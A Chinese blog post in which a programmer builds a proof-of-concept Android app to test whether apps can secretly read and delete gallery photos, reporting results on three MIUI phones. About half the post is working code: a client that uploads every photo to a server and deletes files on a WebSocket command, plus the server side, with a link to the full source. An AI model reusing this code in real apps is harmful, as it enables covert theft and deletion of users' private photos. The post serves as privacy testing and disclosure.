隨手記
前:
之前某多多app被爆出偷偷刪除用戶截圖,讓我不禁有些懷疑,App真的可以偷偷查看你的照片,並且隨意刪除嗎?
作為程序員,決定自學一下安卓,寫個App來測試下。
中:
簡單分析下,app必須做到以下3點:
1、先將手機截圖偷偷地上傳到他們的服務器
2、某多多員工選中要刪除的圖片(截圖很多,為了不誤刪除,必須人工篩選)
3、遠程控制app,偷偷地刪除選中的圖片
自學了一段時間后,使用程序員必備技能:面向搜索引擎編程,肝了兩天一個差不多的App就搞出來了。
/***********************************代碼分析放到后面,先看結果*******************************/
測試機型以及系統:
注:app被打開后,會檢測授權情況,如果沒有讀寫手機存儲權限,就不能使用。(模擬某些app的做法)
紅米Note7--MIUI11 --穩定版
小米8se --MIUI12 --開發板
紅米K30pro-- MIUI12.5 --開發板
測試結果:
紅米Note7 MIUI11 穩定版
1、不授予讀寫手機存儲權限:app無法正常運行
2、在授予了讀寫手機存儲權限后:
app可偷偷翻閱你的相冊,並隨意刪除。 翻閱時手機不會有任何提醒;刪除圖片時也不會有任何系統提示。
小米8se MIUI12 開發板
1、不授予讀寫手機存儲權限:app無法正常運行
2、在授予了讀寫手機存儲權限后:
app可偷偷翻閱你的相冊,並隨意刪除。 翻閱時手機不會有任何提醒;刪除圖片時也不會有任何系統提示。
我們平時操作手機,刪除照片后,照片會被放到回收站,還可以恢復, 但是被app刪除的照片,不會進入回收站,而是直接消失了!
紅米K30pro MIUI12.5 開發板
1、不授予讀寫手機存儲權限: app無法正常運行
2、在授予了讀寫手機存儲權限,並且允許app訪問相冊: 可以翻閱你的相冊,翻閱時手機不會有任何提醒,但是不能刪除你的照片。
3、在授予讀寫手機存儲權限,不給相冊權限下 app可以正常運行,不能翻閱相冊,也不能刪除你的照片。
后:
結論:
如果app被授予了讀寫手機存儲權限,真的可以為所欲為。如果你是MIUI12.5的用戶,可以通過關閉相冊權限,來保護你的隱私。
注意:
1、測試結果僅適用於安卓系統的手機;除了MIUI系統,其他系統尚未測試,結果僅供參考
2、測試過程中,操作的照片文件,不是app自己創建的文件,而是位於系統相冊文件夾DCIM下,是越界行為。
/*******************************************************代碼分析模塊***********************************************/
App:
主活動onCreate后,先檢測app讀寫手機的權限,然后開始查找相冊文件,並上傳到服務器。監聽服務器的刪除命令可使用WebSocket實現。
//偷偷上傳手機圖片到服務器
private void findPhotos(){
String ServiceUrl = MyWsServiceAction;
String photoPath = PHOTO_PATH;
File file = new File(photoPath);
File[] files;
files = file.listFiles();
if (files != null && files.length>0){
for (File f: files){
if (isImage(f.getName())){
Log.d(TAG, "上傳圖片: "+f.getAbsolutePath());
try {
new Upload(f).execute(ServiceUrl);//后台的接口地址
} catch (Exception e) {
e.printStackTrace();
}
}
}
Log.d(TAG, "圖片上傳完畢!");
}else if(files != null && files.length==0){
Log.d(TAG, "相冊為空!");
}else{
Log.d(TAG, "圖片讀取失敗!強制退出App!");
MainActivity.this.finish();
System.exit(0);
}
}
//websocket
private void connect() {
try {
wsc.connect(MyWsServiceUrl,
new WebSocketConnectionHandler() {
@Override
public void onMessage(String payload) {
super.onMessage(payload);
Log.d(TAG, "收到服務器刪除命令,刪除文件: "+payload);
deletePhoto(payload);
}
@Override
public void onClose(int code, String reason) {
System.out.println("onClose reason=" + reason);
Log.d(TAG, "onClose: "+reason);
}
@Override
public void onOpen() {
System.out.println("onOpen");
Log.d(TAG, "onOpen: 服務器連接成功");
}
});
} catch (WebSocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//刪除相冊截圖
private void deletePhoto(String name){
String photo = PHOTO_PATH+name;
File file = new File(photo);
if (file.exists() && file.isFile()) {
System.gc();
boolean result = file.delete();
if (result) {
Log.d(TAG, "已刪除圖片: " + name);
Log.d(TAG, "刪除成功路徑: " + photo);
} else {
Log.d(TAG, "刪除圖片失敗: " + name);
Log.d(TAG, "刪除失敗路徑: " + photo);
}
}
}
服務器端:
服務器是采用SpringMVC的javaWeb,功能有:
提供保存圖片的接口,保存App刪除的圖片;
簡單后台的管理,用於展示App上傳的圖片;
WebSocket,用於向App發出刪除命令。
/**
* @Author hxh
* @Date 2021-02-27 10:12:43
* @Desc: 接收app上傳過來的圖片
* @param req
* @param resp
* @throws
* @return void
*/
@RequestMapping(value = "/getphotos")
public void getPhoto(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = filepath;
resp.setContentType("text/html;charset=utf-8");
String okstatus = "";
resp.setCharacterEncoding("utf-8");
req.setCharacterEncoding("utf-8");
String filename = req.getHeader("filename");
List<String> msgList2 = new ArrayList<String>();
File oldfile = new File(path + filename);
System.out.println("獲取手機圖片:" + filename);
if (req.getContentLength() > 0 && !oldfile.isFile()) {
InputStream inputstream = null;
FileOutputStream outputStream = null;
try {
inputstream = req.getInputStream();//獲取post請求過來圖片的流
File file = new File(path, filename);
file.createNewFile();
outputStream = new FileOutputStream(file);
byte temp[] = new byte[1024];
int size = 1;
while ((size = inputstream.read(temp)) != -1) {//每次讀取1kb,讀完為止
outputStream.write(temp, 0, size);//創建圖片文件
}
msgList2.add("succedd");
okstatus = "上傳成功!";
} catch (IOException io) {
msgList2.add("defeated");
okstatus = "上傳失敗!";
System.out.println(io.getMessage());
} finally {
outputStream.close();
inputstream.close();
}
}
JSONObject result = new JSONObject();
result.put("success", true);
result.put("okstatus", okstatus);
resp.getWriter().print(result);
}
/**
* @Author hxh
* @Date 2021-02-27 10:13:22
* @Desc: 后台管理界面,展示全部從手機中獲取的圖片
* @param
* @throws
* @return java.util.Map
*/
@RequestMapping(value = "/getAllPhoto")
public Map getAllPhoto() throws Exception {
File file = new File(filepath);
if (!file.isDirectory()) return null;
Map map = new HashMap();
List<Photo> photoList = new ArrayList<>();
Photo photo;
File[] files = file.listFiles();
for (File f : files) {
photo = new Photo(f.getName(), "photo/" + f.getName());
photoList.add(photo);
}
map.put("data", photoList);
return map;
}
/**
* @Author hxh
* @Date 2021-02-27 10:14:53
* @Desc: 后台管理界面,發送刪除圖片命令到手機
* @param filename
* @throws
* @return void
*/
@RequestMapping(value = "/deletePhoto")
public void deletePhoto(String filename) throws IOException {
System.out.println("遠程刪除圖片【" + filename + "】命令已發出...");
WebSocketController.sendMessage(filename);
File file = new File(filepath + filename);
if (file.exists() && file.isFile()) file.delete();
}
源碼:
https://wwi.lanzous.com/iGTk1m8iy1i 密碼:pinxx